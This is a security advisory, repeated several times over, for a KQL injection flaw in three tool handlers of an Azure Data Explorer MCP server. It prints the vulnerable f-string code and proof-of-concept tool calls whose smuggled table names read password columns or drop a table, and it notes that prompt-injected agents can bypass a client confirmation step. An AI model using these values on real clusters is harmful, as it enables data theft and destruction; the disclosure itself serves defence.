CVE-2026-33980

Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.

Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code (permalink):

@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | getschema"          # <-- KQL injection
    result_set = client.execute(config.database, query)

@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | sample {sample_size}"  # <-- KQL injection
    result_set = client.execute(config.database, query)

@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f".show table {table_name} details"     # <-- KQL injection
    result_set = client.execute(config.database, query)

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:

• sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
• Newline-separated management commands like .drop table important_data via get_table_details
• Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table critical_data"
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details

Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.

Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure Data Explorer (ADX/Kusto) databases through standardized interfaces. Versions up to and including 0.1.1 contain KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster. Commit 0abe0ee55279e111281076393e5e966335fffd30 patches the issue.

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code (permalink):

@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | getschema"          # <-- KQL injection
    result_set = client.execute(config.database, query)

@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | sample {sample_size}"  # <-- KQL injection
    result_set = client.execute(config.database, query)

@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f".show table {table_name} details"     # <-- KQL injection
    result_set = client.execute(config.database, query)

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:

• sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
• Newline-separated management commands like .drop table important_data via get_table_details
• Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table critical_data"
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code (permalink):

@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | getschema"          # <-- KQL injection
    result_set = client.execute(config.database, query)

@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | sample {sample_size}"  # <-- KQL injection
    result_set = client.execute(config.database, query)

@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f".show table {table_name} details"     # <-- KQL injection
    result_set = client.execute(config.database, query)

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:

• sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
• Newline-separated management commands like .drop table important_data via get_table_details
• Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table critical_data"
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details